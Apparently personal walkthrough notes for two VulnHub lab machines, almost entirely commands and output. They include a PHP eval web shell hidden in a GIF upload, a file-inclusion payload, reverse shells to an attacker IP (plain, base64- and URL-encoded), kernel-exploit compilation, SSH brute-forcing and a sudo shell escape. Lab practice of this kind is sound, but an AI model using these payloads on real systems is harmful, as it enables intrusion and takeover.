root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:103:106::/var/run/dbus:/bin/false
whoopsie:x:104:107::/nonexistent:/bin/false
landscape:x:105:110::/var/lib/landscape:/bin/false
sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
ica:x:1000:1000:ica,,,:/home/ica:/bin/bash

gobuster dir -u http://192.168.30.157 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt

wget http://192.168.30.157/images/luffy_shanks.png
wget http://192.168.30.157/images/white_beard.png

<?php
#header( 'Z-Powered-By:its chutiyapa xD' );
header('X-Frame-Options: SAMEORIGIN');
header( 'Server:testing only' );
header( 'X-Powered-By:testing only' );

ini_set( 'session.cookie_httponly', 1 );

$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");

// Check connection
if (mysqli_connect_errno())
  {
  echo "connection failed ->  " . mysqli_connect_error();
  }

?>

mysql -u billu -p -h 192.168.30.157

<?php
session_start();

include('c.php');
include('head.php');
if(@$_SESSION['logged']!=true)
{
	$_SESSION['logged']='';
	
}

if($_SESSION['logged']==true &&  $_SESSION['admin']!='')
{
	
	echo "you are logged in :)";
	header('Location: panel.php', true, 302);
}
else
{
echo '<div align=center style="margin:30px 0px 0px 0px;">
<font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font> 
<br><br>
Show me your SQLI skills <br>
<form method=post>
Username :- <Input type=text name=un> &nbsp Password:- <input type=password name=ps> <br><br>
<input type=submit name=login value="let\'s login">';
}
if(isset($_POST['login']))
{
	$uname=str_replace('\'','',urldecode($_POST['un']));
	$pass=str_replace('\'','',urldecode($_POST['ps']));
	$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';
	$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {

$row = mysqli_fetch_assoc($result);
	   echo "You are allowed<br>";
	   $_SESSION['logged']=true;
	   $_SESSION['admin']=$row['username'];
	   
	 header('Location: panel.php', true, 302);
   
}
else
{
	echo "<script>alert('Try again');</script>";
}
	
}
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";

?>

str_replace('\'','',urldecode($_POST['un'])) #移除了所有单引号 (')

<?php
session_start();

include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{
		header('Location: index.php', true, 302);
		exit();
	
}



echo "Welcome to billu b0x ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
if(isset($_POST['lg']))
{
	unset($_SESSION['logged']);
	unset($_SESSION['admin']);
	header('Location: index.php', true, 302);
}
echo '<hr><br>';

echo '<form method=post>

<select name=load>
    <option value="show">Show Users</option>
	<option value="add">Add User</option>
</select> 

 &nbsp<input type=submit name=continue value="continue"></form><br><br>';
if(isset($_POST['continue']))
{
	$dir=getcwd();
	$choice=str_replace('./','',$_POST['load']);
	
	if($choice==='add')
	{
       		include($dir.'/'.$choice.'.php');
			die();
	}
	
        if($choice==='show')
	{
        
		include($dir.'/'.$choice.'.php');
		die();
	}
	else
	{
		include($dir.'/'.$_POST['load']);
	}
	
}


if(isset($_POST['upload']))
{
	
	$name=mysqli_real_escape_string($conn,$_POST['name']);
	$address=mysqli_real_escape_string($conn,$_POST['address']);
	$id=mysqli_real_escape_string($conn,$_POST['id']);
	
	if(!empty($_FILES['image']['name']))
	{
		$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
	$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
	$image=array('jpeg','jpg','gif','png');
	if(in_array($r,$image))
	{
		$finfo = @new finfo(FILEINFO_MIME); 
	$filetype = @$finfo->file($_FILES['image']['tmp_name']);
		if(preg_match('/image\/jpeg/',$filetype )  || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
				{
					if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
							 {
							  echo "Uploaded successfully ";
							  $update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')'; 
							 mysqli_query($conn, $update);
							  
							}
				}
			else
			{
				echo "<br>i told you dear, only png,jpg and gif file are allowed";
			}
	}
	else
	{
		echo "<br>only png,jpg and gif file are allowed";
		
	}
}


}

?>

root:x:0:0:root:/root:/bin/bash
ica:x:1000:1000:ica,,,:/home/ica:/bin/bash

dirb http://192.168.30.157  /usr/share/wordlists/dirb/big.txt

GIF89a
<?php @eval($_POST['cmd']); ?>

uploaded_images/a.jpg

// ... (add 和 show 的检查)
	else
	{
		// !!! 危险：直接使用未过滤的 $_POST['load']
		include($dir.'/'.$_POST['load']);
	}

echo 'bash -i >& /dev/tcp/192.168.30.131/4444 0>&1' | bash

bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMwLjEzMS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}"
ZWNobyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMwLjEzMS80NDQ0IDA+JjEi
echo 'bash -i >& /dev/tcp/192.168.30.131/4444 0>&1' 
system(echo ZWNobyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMwLjEzMS80NDQ0IDA+JjEi | base64 -d | bash);

echo "bash -i >& /dev/tcp/192.168.30.157/4444 0>&1" | bash

echo%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.30.157%2F4444%200%3E%261%22%20%7C%20bash
## 最终成功的payload
load=uploaded_images/a.jpg&continue=continue&cmd=system(%27echo%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.30.131%2F4444%200%3E%261%22%20%7C%20bash%27);

www-data@indishell:/var/www$ sudoedit -h
sudoedit -h
sudoedit - edit files as another user

usage: sudoedit [-AknS] [-C fd] [-D level] [-g groupname|#gid] [-p prompt] [-u
                user name|#uid] file ...

Options:
  -a type       use specified BSD authentication type
  -b            run command in the background
  -C fd         close all file descriptors >= fd
  -E            preserve user environment when executing command
  -e            edit files instead of running a command
  -g group      execute command as the specified group
  -H            set HOME variable to target user's home dir.
  -h            display help message and exit
  -i [command]  run a login shell as target user
  -K            remove timestamp file completely
  -k            invalidate timestamp file
  -l[l] command list user's available commands
  -n            non-interactive mode, will not prompt user
  -P            preserve group vector instead of setting to target's
  -p prompt     use specified password prompt
  -S            read password from standard input
  -s [command]  run a shell as target user
  -U user       when listing, list specified user's privileges
  -u user       run command (or edit file) as specified user
  -V            display version information and exit
  -v            update user's timestamp without running a command
  --            stop processing command line arguments

uname -a 
Linux indishell 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 i686 i386 GNU/Linux

Linux indishell 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 i686 i386 GNU/Linux

gcc 37292.c -o exploit -m32 -static

chmod +x exploit

/var/www/phpmy/config.inc.php

<?php

/* Servers configuration */
$i = 0;

/* Server: localhost [1] */
$i++;
$cfg['Servers'][$i]['verbose'] = 'localhost';
$cfg['Servers'][$i]['host'] = 'localhost';
$cfg['Servers'][$i]['port'] = '';
$cfg['Servers'][$i]['socket'] = '';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['extension'] = 'mysqli';
$cfg['Servers'][$i]['auth_type'] = 'cookie';
$cfg['Servers'][$i]['user'] = 'root';
$cfg['Servers'][$i]['password'] = 'roottoor';
$cfg['Servers'][$i]['AllowNoPassword'] = true;

/* End of servers configuration */

$cfg['DefaultLang'] = 'en-utf-8';
$cfg['ServerDefault'] = 1;
$cfg['UploadDir'] = '';
$cfg['SaveDir'] = '';


/* rajk - for blobstreaming */
$cfg['Servers'][$i]['bs_garbage_threshold'] = 50;
$cfg['Servers'][$i]['bs_repository_threshold'] = '32M';
$cfg['Servers'][$i]['bs_temp_blob_timeout'] = 600;
$cfg['Servers'][$i]['bs_temp_log_threshold'] = '32M';


?>

exiftool gallery/img_lights.jpg

ffuf -u http://192.168.30.147/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -e .html,.txt,.php,.key ffuf  -fc 403

vim user.txt
Bob
bob
BROKEN
broken
Broken

vim password.txt
broken
Broken
BROKEN

hydra -L user.txt -P password.txt  ssh://192.168.30.147                               
[22][ssh] host: 192.168.30.147   login: broken   password: broken                         

uname -a
sudo -l

sudo timedatectl list-timezones
!/bin/sh

exploitdb
cp exploits/linux_x86-64/local/40049.c /home/kali/Desktop/VulnHub/BrokenGallery/
cd /home/kali/Desktop/VulnHub/BrokenGallery/
python3 -m